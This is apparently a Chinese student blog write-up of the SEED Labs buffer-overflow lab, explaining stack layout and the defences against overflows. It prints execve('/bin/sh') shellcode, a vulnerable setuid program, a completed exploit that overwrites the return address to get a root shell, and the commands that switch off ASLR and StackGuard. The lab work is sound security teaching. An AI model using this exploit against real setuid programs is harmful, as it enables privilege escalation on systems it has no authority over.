软件安全漏洞挖掘:Buffer_Overflow

一、实验要求

本实验的学习目标是让学生将他们从实际操作中学到的关于缓冲区溢出漏洞的知识,从而获得缓冲区溢出漏洞的第一手经验。缓冲区溢出定义为程序试图写入超出预先分配的固定长度缓冲区边界的数据的情况。此漏洞可被恶意用户用来改变程序的流控制,从而导致恶意代码的执行。这个漏洞是由于数据存储器(例如缓冲区)和控件存储器(例如返回地址)的混合而引起的: 数据部分的溢出会影响程序的控制流,因为溢出可以更改返回地址。
在这个实验中,将通过一个具有缓冲区溢出漏洞的程序,建立一个利用该漏洞并最终获得根特权的方案。除了攻击之外,还将学习在操作系统中实现的几个防止缓冲区溢出攻击的保护方案。本实验涵盖以下主题:
• Buffer overflow vulnerability and attack 缓冲区溢出漏洞和攻击
• Stack layout in a function invocation 函数调用中的堆栈布局
• Shellcode shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
• Address randomization 地址随机化
• Non-executable stack 不可执行的堆栈
• StackGuard 堆栈保护

二、 实验环境

SEEDUbuntu(Ubuntu 16.04)

三、 实验步骤

(一) 准备工作

Ubuntu和其他Linux发行版已经实现了几种安全机制,以使缓冲区溢出攻击变得困难。为了简化攻击,我先禁用它们。然后再我们将一一启用它们,并查看我们的攻击是否仍然可以成功。

地址空间随机化:
Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和栈的起始地址。这使得猜测确切的地址变得困难。猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验中,我们使用以下命令禁用此功能:

$ sudo sysctl -w kernel.randomize_va_space=0

StackGuard保护方案:
GCC编译器实现了一种称为StackGuard的安全机制,以防止缓冲区溢出。在这种保护的情况下,缓冲区溢出攻击将不起作用。我们可以在编译期间使用-fno-stack-protector选项禁用此保护。例如,要在禁用StackGuard的情况下编译程序example.c,我们可以执行以下操作:

$ gcc -fno-stack-protector example.c

不可执行的堆栈:
Ubuntu曾经允许可执行堆栈,但是现在已经发生了变化:程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,即它们需要在程序标头中标记一个字段。内核或动态链接器使用此标记来决定是使此正在运行的程序的堆栈是可执行的还是不可执行的。标记是由最新版本的gcc自动完成的,默认情况下,堆栈设置为不可执行。要更改此设置,请在编译程序时使用以下选项:
对于可执行堆栈:

$ gcc -z execstack -o test test.c

对于不可执行堆栈:

$ gcc -z noexecstack -o test test.c

配置 /bin/sh
在Ubuntu 12.04和Ubuntu 16.04 VM中,/bin/sh 符号链接均指向/bin/dash shell。但是,这两个VM中的dash程序有重要区别。Ubuntu 16.04中的dash shell 有一个对策,可防止自身在Set-UID进程中执行。基本上,如果dash检测到它是在Set-UID进程中执行的,它将立即将有效用户ID更改为该进程的真实用户ID,从而实质上删除了特权。Ubuntu 12.04中的dash程序没有此行为。
由于我们的受害者程序是Set-UID程序,并且我们的攻击依赖于运行/bin/sh,因此/bin/dash中的对策使我们的攻击更加困难。因此,我们将/bin/sh链接到另一个没有这种对策的Shell程序(在以后的任务中,我们将展示出一点点的努力,就可以轻易克服/bin/dash中的对策)。我们已经在Ubuntu 16.04 VM中安装了名为zsh的Shell程序。我们使用以下命令将/bin/sh链接到zsh

$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh

(二) 实验任务:

Task 1 : Running Shellcode

Step 1:
在开始攻击之前,让我们熟悉一下shellcode。Shellcode是启动Shell的代码,必须将其加载到内存中,以便我们可以迫使易受攻击的程序跳转至该内存。考虑以下程序:

#include<stdio.h>
int main()
{
    char* name[2];
    name[0]= "/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}

我们使用的shellcode只是上述程序的汇编版本。以下程序显示了如何通过执行存储在缓冲区中的shellcode来启动shell。

/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );

使用以下gcc命令编译以上代码。运行程序并描述您的观察结果。使用execstack选项,该选项允许从堆栈执行代码。

$ gcc -z execstack -o call_shellcode call_shellcode.c

在这里插入图片描述
上面的shellcode调用execve()系统调用来执行/bin/sh。

  1. 首先,第三条指令将“//sh”而不是“/sh”压入堆栈。这是因为我们在这里需要一个32位数字,而“/sh”只有24位。 “//”等效于“/”,因此我们可以避免使用双斜杠符号。
  2. 其次,在调用execve()系统调用之前,我们需要将name[0](字符串的地址),name(数组的地址)和NULL分别存储到%ebx,%ecx和%edx寄存器中。第5行将name [0]存储到%ebx;第8行将名称存储到%ecx;第9行将%edx设置为零。还有其他方法可以将%edx设置为零(例如xorl%edx,%edx); 这里使用的那个(cdq)只是一条较短的指令:它将EAX寄存器中的值的符号(第31位)(此时为0)复制到EDX寄存器的每个位位置,基本上将%edx设置为 0。
  3. 第三,当我们将%al设置为11并执行“int $0x80”时,系统调用execve()被调用。

Step 2:
提供以下程序,该程序在Line➀中具有缓冲区溢出漏洞。您的工作是利用此漏洞并获得root特权。

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

编译上述易受攻击的程序。包括-fno-stack-protector和“-z execstack”选项,以关闭StackGuard和不可执行的堆栈保护。编译之后,我们需要使该程序成为root拥有的Set-UID程序。我们可以通过首先将程序的所有权更改为root(第Line行),然后将权限更改为4755以启用Set-UID位(第Line)来实现此目的。
应当注意,更改所有权必须在开启Set-UID位之前完成,因为所有权更改将导致Set-UID位被关闭。

$ gcc -g -o stack -z execstack -fno-stack-protector stack.c //必须要有-g 
$ sudo chown root stack ①
$ sudo chmod 4755 stack ②

上面的程序有一个缓冲区溢出漏洞。它首先从名为badfile的文件中读取输入,然后将该输入传递到函数bof()中的另一个缓冲区。原始输入的最大长度可以为517个字节,但是bof()中的缓冲区只有24个字节长。由于strcpy()不检查边界,因此会发生缓冲区溢出。由于此程序是Set-root-UID程序,因此,如果普通用户可以利用此缓冲区溢出漏洞,则普通用户可能能够获得root shell。应当注意,程序从名为badfile的文件获取其输入。该文件受用户控制。现在,我们的目标是为badfile创建内容,以便当易受攻击的程序将内容复制到其缓冲区中时,可以生成root shell。
在这里插入图片描述
此时stack中的badfile文件还未建立,因此在下一个实验中建立完badfile文件后再执行。

Task 2:Exploiting the Vulnerability

本任务提供了部分完成的利用代码,为“exploit.c”。该代码的目的是为badfile构造内容。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    strcpy(buffer+100,shellcode);			//将shellcode拷贝至buffer
    strcpy(buffer+0x24,"\xfb\xea\xff\xbf");		//在buffer特定偏移处起始的四个字节覆盖sellcode地址
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

完成上述程序后,编译并运行它。这将生成badfile的内容。然后运行易受攻击的程序stack.c。如果您的漏洞利用程序正确实施,则应该能够获得root shell。

Step 1:
怎么得到这里偏移的位置呢?
方法:gdb下调试stack,获取shellcode地址和bof函数执行后返回地址。首先这里需要强调一下必须在gcc编译时加上-g选项才可以使用gdb调试。
(1)获取shellcode地址

$ gdb stack
(gdb) b main
(gdb) r
(gdb) p /x &str

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

从上图可以看到,漏洞程序读取badfile 文件到缓冲区str,且str的地址为0xbfffea97,计算shellcode偏移量100(0x64),则shellcode地址为0xbfffeafb。

(2)计算bof函数执行后返回地址
接下来就应该获取bof函数执行后的返回地址了,在这之前我们需要知道函数调用过程中的堆栈帧结构。
因为bof函数调用了strcpy函数,即把从文件读入的数据备份进了自己的缓冲区,为了实现shellcode地址覆盖掉返回地址,我们需要知道返回地址相对于buffer的偏移量,这样我们在构造badfile文件时在相应偏移量出写上shellcode地址即可。
在这里插入图片描述
在这里插入图片描述

结合上面两幅图我们可以知道,在进入bof函数前,先向栈内压入了函数实参str的地址,然后是返回地址,随后进入函数,压入ebp寄存器(老),再修改ebp(新)和设置esp(分配存储空间)。从反汇编代码中可以知道buffer首地址距ebp的偏移为0x20,则距返回地址的偏移为0x24。

Step 2:
编译执行exploit.c,会得到一个badfile文件,然后使用漏洞程序stack.c进行测试。
需要注意的是,生成badfile的程序exploit.c可以在启用默认StackGuard保护的情况下进行编译。这是因为我们不会在该程序中溢出缓冲区。我们将溢出stack.c中的缓冲区,该缓冲区是在禁用StackGuard保护的情况下编译的。
在这里插入图片描述

Task 3: Defeating dash’s Countermeasure

一种方法是不在 shell 代码中调用/bin/sh; 相反,我们可以调用另一个 shell 程序。这种方法需要另一个 shell 程序,比如zsh。另一种方法是在调用 dash 程序之前将受害者进程的真实用户 ID 更改为零。我们可以通过在 shell 代码中执行 execve ()之前调用 setuid (0)来实现这一点。在这个任务中,我们将使用这种方法。我们将首先更改/bin/sh 符号链接,这样它就会指向/bin/dash:
在这里插入图片描述

为了了解 dash 中的对策是如何工作的,以及如何使用系统调用 setuid (0)来击败它,我们在stack中编写了以下程序。
在这里插入图片描述

上面的程序可以使用以下命令编译和设置(我们需要使它成为 root 拥有的 Set-UID 程序) :
在这里插入图片描述

从上面的实验中,我们可以看出 seuid (0)有所不同。让我们在 shell 代码的开头添加用于调用这个系统调用的汇编代码,然后再调用 execve ()。
在这里插入图片描述

Step 1:
我们首先注释掉前四行并以 Set-UID 程序运行该程序(所有者应该是 root) ,可以观察到进入到一个普通shell:
在这里插入图片描述
Step 2:
我们取消注释前四行并以 Set-UID 程序运行该程序(所有者应该是 root) ,可以观察到进入到一个root shell:
在这里插入图片描述

Task 4: Defeating Address Randomization

在32位 Linux 机器上,栈只有19位的熵,这意味着栈基地址可能有524,288种可能性。这个数字不是很高,而且可以通过蛮力方法轻易地耗尽。在这个任务中,我们使用这种方法来击败我们的32位 VM 上的地址随机化对策。首先,我们使用以下命令打开 Ubuntu 的地址随机化。我们运行在任务2中开发的相同攻击。请描述并解释你的观察。
在这里插入图片描述

然后,我们使用暴力破解方法反复攻击易受攻击的程序,希望我们放在坏文件中的地址最终可以是正确的。可以使用以下 shell 脚本在无限循环中运行易受攻击的程序。如果攻击成功,脚本将停止; 否则,它将继续运行。
在这里插入图片描述
在这里插入图片描述

Task 5: Turn on the StackGuard Protection

在进行这项任务之前,请记住首先关闭地址随机化,否则您将不知道哪种保护有助于实现保护。在我们之前的任务中,我们在编译程序时禁用了 GCC 中的 StackGuard 保护机制。在这个任务中,你可以考虑在 StackGuard 面前重复任务2。为此,应该在编译程序时不使用-fno-stack-protector 选项。对于这个任务,您将重新编译易受攻击的程序 stack.c,以使用 GCC StackGuard,再次执行任务1。
在这里插入图片描述

在 GCC 4.3.3及以上版本中,StackGuard 是默认启用的。因此,您必须使用前面提到的开关禁用 StackGuard。在早期版本中,默认情况下是禁用的。
重新编译stack之后我们可以观察到如下图所示的结果:
在这里插入图片描述

Task 6: Turn on the Non-executable Stack Protection

在进行这项任务之前,请记住首先关闭地址随机化,否则您将不知道哪种保护有助于实现保护。在我们之前的任务中,我们故意使堆栈可执行。在这个任务中,我们使用 noexecstack 选项重新编译易受攻击的程序,并在 Task 2中重复攻击。可以使用下列指令打开非可执行堆栈保护。
在这里插入图片描述

应该注意的是,非可执行堆栈只能使在堆栈上运行 shell 代码,但它不能防止缓冲区溢出攻击,因为在利用缓冲区溢出漏洞之后,还有其他方法来运行恶意代码。
在这里插入图片描述

  • 4
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值